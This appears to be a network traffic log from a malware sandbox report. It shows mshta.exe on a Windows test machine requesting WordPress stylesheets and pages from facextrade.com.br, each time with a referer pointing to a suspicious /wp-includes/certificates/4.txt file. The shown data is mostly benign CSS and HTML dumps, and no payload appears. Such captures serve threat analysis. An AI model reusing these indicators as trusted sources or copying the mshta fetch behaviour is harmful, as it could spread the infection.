Aug 16, 2022 11:44:48.721642971 CEST	1592	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 35 66 35 66 35 3b 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 64 64 64 64 64 3b 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a Data Ascii: background-color: #f5f5f5; border: 1px solid #dddddd; -webkit-border-radius: 4px; -moz-border-radius: 4px; border-radius: 4px; -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.05); -moz-box-shadow: inset 0 1px 1px rgba(0, 0, 0
Aug 16, 2022 11:44:48.721661091 CEST	1594	IN	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 20 2a 2f 0a 2f 2a 20 50 6f 73 74 20 43 79 63 6c 65 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d Data Ascii: -------------------------- // Post Cycle---------------------------------------- */.carousel-cycle { position: relative; overflow: hidden;}.post-cycle { width: 100%; height: 380px; overflow: hidden;}.post-cycle_item { disp
Aug 16, 2022 11:44:48.721678019 CEST	1595	IN	Data Raw: 72 61 70 20 2e 66 65 61 74 75 72 65 64 2d 74 68 75 6d 62 6e 61 69 6c 20 7b 0a 20 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 3b 0a 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 35 70 78 3b 0a 20 Data Ascii: rap .featured-thumbnail { float: none; overflow: hidden; margin: 0 0 15px; padding: 0;}.banner-wrap .featured-thumbnail a { display: block; float: left; overflow: hidden; border: 8px solid #dddddd; text-align: center; -we
Aug 16, 2022 11:44:48.721756935 CEST	1596	IN	Data Raw: 0a 7d 0a 2e 74 65 73 74 69 6d 6f 6e 69 61 6c 73 20 2e 74 65 73 74 69 2d 69 74 65 6d 20 62 6c 6f 63 6b 71 75 6f 74 65 3a 61 66 74 65 72 20 7b 0a 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 74 6f 70 3a 20 31 30 70 78 3b Data Ascii: }.testimonials .testi-item blockquote:after { position: absolute; top: 10px; left: 20px; display: block; width: 41px; height: 38px; background: url(../images/quotes.png) 0 0 no-repeat; content: "";}.testimonials .testi-item
Aug 16, 2022 11:44:48.721772909 CEST	1598	IN	Data Raw: 6c 64 65 72 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 35 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 7d 0a 7d 0a 2e 72 6f 75 6e 64 61 62 6f 75 74 2d 68 6f 6c 64 65 72 20 75 6c 20 6c 69 2e 72 6f 75 6e 64 61 62 6f 75 Data Ascii: lder ul li { width: 150px !important; }}.roundabout-holder ul li.roundabout-in-focus { cursor: default;}@media (min-width: 768px) and (max-width: 979px) { .roundabout-holder ul { width: 100%; }}@media (max-width: 767px) {
Aug 16, 2022 11:44:48.721829891 CEST	1599	IN	Data Raw: 64 74 68 3a 20 34 38 30 70 78 29 20 7b 0a 20 20 2e 73 69 74 65 5f 6d 61 70 20 2e 6c 69 6e 65 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 66 6c 6f 61 74 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 Data Ascii: dth: 480px) { .site_map .line ul li { float: none; width: 100%; margin-right: 0%; }}/* Accordion, Tabs (bootstrap)---------------------------------------- */.accordion-group,.accordion-inner,.nav-tabs,.nav-tabs > .active
Aug 16, 2022 11:44:48.721860886 CEST	1601	IN	Data Raw: 20 30 70 78 20 31 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 39 29 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 70 78 20 30 70 78 20 31 33 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 30 39 29 Data Ascii: 0px 13px rgba(0, 0, 0, 0.09); -moz-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09); -webkit-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09); -o-box-shadow: 0px 0px 13px rgba(0, 0, 0, 0.09);}.price-plans .plan.highlight h3 { padding: 22px
Aug 16, 2022 11:44:48.953713894 CEST	1603	IN	Data Raw: 74 61 6e 74 3b 0a 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 30 3b 0a 20 20 7d 0a 7d 0a 2e 70 72 69 63 65 2d 70 6c 61 6e 73 20 2e 70 6c 61 6e 20 68 33 20 7b 0a 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 70 61 64 64 69 6e 67 3a 20 32 30 Data Ascii: tant; margin-left: 0; }}.price-plans .plan h3 { margin: 0; padding: 20px 10px; background: #e1e4e5; color: #32393d; border-bottom: 1px solid #fff; font-weight: bold;}.price-plans .plan h4 { margin: 0; padding: 10px;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49779	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:48.917267084 CEST	1601	OUT	GET /wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.0.3 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:49.156605959 CEST	1621	IN	HTTP/1.1 200 OK Date: Tue, 16 Aug 2022 09:44:49 GMT Server: Apache Last-Modified: Tue, 02 Apr 2019 21:36:00 GMT ETag: "a4fbb9-6cf-58592ec50f000" Accept-Ranges: bytes Content-Length: 1743 Connection: close Content-Type: text/css
Aug 16, 2022 11:44:49.156646967 CEST	1622	IN	Data Raw: 64 69 76 2e 77 70 63 66 37 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 73 63 72 65 65 6e 2d 72 65 61 64 65 72 2d 72 65 73 70 6f 6e 73 65 20 7b 0a 09 70 6f 73 69 74 Data Ascii: div.wpcf7 {margin: 0;padding: 0;}div.wpcf7 .screen-reader-response {position: absolute;overflow: hidden;clip: rect(1px, 1px, 1px, 1px);height: 1px;width: 1px;margin: 0;padding: 0;border: 0;}div.wpcf7-response-output {
Aug 16, 2022 11:44:49.156666040 CEST	1623	IN	Data Raw: 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 0a 7d 0a 0a 64 69 76 2e 77 70 63 66 37 20 2e 61 6a 61 78 2d 6c 6f 61 64 65 72 2e 69 73 2d 61 63 74 69 76 65 20 7b 0a 09 76 69 73 69 62 69 6c 69 74 79 3a 20 76 69 73 69 62 Data Ascii: vertical-align: middle;}div.wpcf7 .ajax-loader.is-active {visibility: visible;}div.wpcf7 div.ajax-error {display: none;}div.wpcf7 .placeheld {color: #888;}div.wpcf7 .wpcf7-recaptcha iframe {margin-bottom: 0;}div.wpcf7

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49780	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:49.176968098 CEST	1624	OUT	GET /wp-content/plugins/bannerrotator/css/banner-rotator.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:50.488473892 CEST	1626	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:44:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:44:50.488512039 CEST	1627	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
Aug 16, 2022 11:44:50.488620043 CEST	1629	IN	Data Raw: 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 34 2e 39 2e 32 30 22 7d 7d 3b 0a 09 09 09 21 66 75 6e 63 74 Data Ascii: cextrade.com.br\/wp-includes\/js\/wp-emoji-release.min.js?ver=4.9.20"}};!function(e,a,t){var n,r,o,i=a.createElement("canvas"),p=i.getContext&&i.getContext("2d");function s(e,t){var a=String.fromCharCode;p.clearRect(0,0,i.width,i.height),p
Aug 16, 2022 11:44:50.488784075 CEST	1629	IN	Data Raw: 70 70 6f 72 74 73 2e 66 6c 61 67 2c 74 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 Data Ascii: pports.flag,t.DOMReady=!1,t.readyCallback=function(){t.DOMReady=!0},t.supports.everything\|\|(n=function(){t.readyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload
Aug 16, 2022 11:44:50.496345043 CEST	1631	IN	Data Raw: 31 30 31 64 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 Data Ascii: 101d<style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em
Aug 16, 2022 11:44:50.496383905 CEST	1632	IN	Data Raw: 74 2d 61 77 65 73 6f 6d 65 2e 63 73 73 3f 76 65 72 3d 33 2e 32 2e 31 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d Data Ascii: t-awesome.css?ver=3.2.1' type='text/css' media='all' /><link rel='stylesheet' id='cherry-plugin-css' href='http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/css/cherry-plugin.css?ver=1.2.8.1' type='text/css' media='all' /><
Aug 16, 2022 11:44:50.496575117 CEST	1634	IN	Data Raw: 73 73 3f 76 65 72 3d 31 2e 30 2e 30 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6c 67 78 2d 6c 6f 67 6f 2d 73 Data Ascii: ss?ver=1.0.0' type='text/css' media='all' /><link rel='stylesheet' id='lgx-logo-slider-animate-css' href='http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/animate/animate-logo.css?ver=20' type='text/css' media='al
Aug 16, 2022 11:44:50.496689081 CEST	1634	IN	Data Raw: 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 43 68 65 72 72 79 46 72 61 6d 65 77 6f 72 6b 2f 6a 73 2f 6a 71 75 65 72 79 Data Ascii: ascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-1.7.2.min.js?ver=1.7.2'></script>
Aug 16, 2022 11:44:50.496969938 CEST	1635	IN	Data Raw: 31 30 37 66 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 Data Ascii: 107f<script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/jquery.easing.1.3.js?ver=1.3'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/plugins/cherry-plugin/li
Aug 16, 2022 11:44:50.497235060 CEST	1637	IN	Data Raw: 2f 6a 73 2f 6c 6f 67 6f 2d 73 6c 69 64 65 72 2d 77 70 2d 70 75 62 6c 69 63 2e 6a 73 3f 76 65 72 3d 31 2e 30 2e 30 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 Data Ascii: /js/logo-slider-wp-public.js?ver=1.0.0'></script><script type='text/javascript' src='http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery-migrate-1.2.1.min.js?ver=1.2.1'></script><script type='text/javascript' src='http://fac
Aug 16, 2022 11:44:50.712445021 CEST	1639	IN	Data Raw: 4c 20 3d 27 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 27 2c 0a 09 20 50 41 52 45 4e 54 5f 55 52 4c 20 3d 20 27 68 74 74 70 3a 2f Data Ascii: L ='http://facextrade.com.br/wp-content/themes/theme51253', PARENT_URL = 'http://facextrade.com.br/wp-content/themes/CherryFramework', CURRENT_THEME = 'theme51253'</script><style type='text/css'>body { background-image:url(http://facext

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49781	187.45.240.69	80	C:\Windows\SysWOW64\mshta.exe

Timestamp	kBytes transferred	Direction	Data
Aug 16, 2022 11:44:49.377000093 CEST	1624	OUT	GET /wp-content/plugins/bannerrotator/css/caption.css?ver=4.9.20 HTTP/1.1 Accept: / Referer: http://facextrade.com.br/wp-includes/certificates/4.txt Accept-Language: en-US Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: facextrade.com.br Connection: Keep-Alive
Aug 16, 2022 11:44:55.496402979 CEST	1941	IN	HTTP/1.1 404 Not Found Date: Tue, 16 Aug 2022 09:44:49 GMT Server: Apache Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://facextrade.com.br/wp-json/>; rel="https://api.w.org/" Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 31 30 34 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 36 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 37 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 38 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 39 20 5d 3e 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 69 65 20 69 65 39 22 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 39 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 74 2d 42 52 22 3e 20 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 7c 20 46 61 63 65 78 3c 2f 74 69 74 6c 65 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 26 72 61 71 75 6f 3b 20 50 c3 a1 67 69 6e 61 20 6e c3 a3 6f 20 65 6e 63 6f 6e 74 72 61 64 61 20 7c 20 46 61 63 65 78 20 43 6f 6d c3 a9 72 63 69 6f 20 45 78 74 65 72 69 6f 72 20 4c 74 64 61 2e 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 68 65 6d 65 35 31 32 35 33 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 72 73 73 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 6c 74 65 72 6e 61 74 65 22 20 74 79 70 65 3d 22 61 70 70 6c 69 63 61 74 69 6f 6e 2f 61 74 6f 6d 2b 78 6d 6c 22 20 74 69 74 6c 65 3d 22 46 61 63 65 78 22 20 68 72 65 66 3d 22 68 Data Ascii: 104f<!DOCTYPE html>...[if lt IE 7 ]><html class="ie ie6" lang="pt-BR"> <![endif]-->...[if IE 7 ]><html class="ie ie7" lang="pt-BR"> <![endif]-->...[if IE 8 ]><html class="ie ie8" lang="pt-BR"> <![endif]-->...[if IE 9 ]><html class="ie ie9" lang="pt-BR"> <![endif]-->...[if (gt IE 9)\|!(IE)]>...><html lang="pt-BR"> ...<![endif]--><head><title>Error 404 Not Found \| Facex</title><meta name="description" content=" » Pgina no encontrada \| Facex Comrcio Exterior Ltda." /><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="//gmpg.org/xfn/11" /><link rel="icon" href="http://facextrade.com.br/wp-content/themes/theme51253/favicon.ico" type="image/x-icon" /><link rel="pingback" href="http://facextrade.com.br/xmlrpc.php" /><link rel="alternate" type="application/rss+xml" title="Facex" href="https://facextrade.com.br/feed/" /><link rel="alternate" type="application/atom+xml" title="Facex" href="h
Aug 16, 2022 11:44:55.496454000 CEST	1942	IN	Data Raw: 74 74 70 73 3a 2f 2f 66 61 63 65 78 74 72 61 64 65 2e 63 6f 6d 2e 62 72 2f 66 65 65 64 2f 61 74 6f 6d 2f 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 6d 65 Data Ascii: ttps://facextrade.com.br/feed/atom/" /><link rel="stylesheet" type="text/css" media="all" href="http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css" /><link rel="stylesheet" type="text/css" media="all" href="h
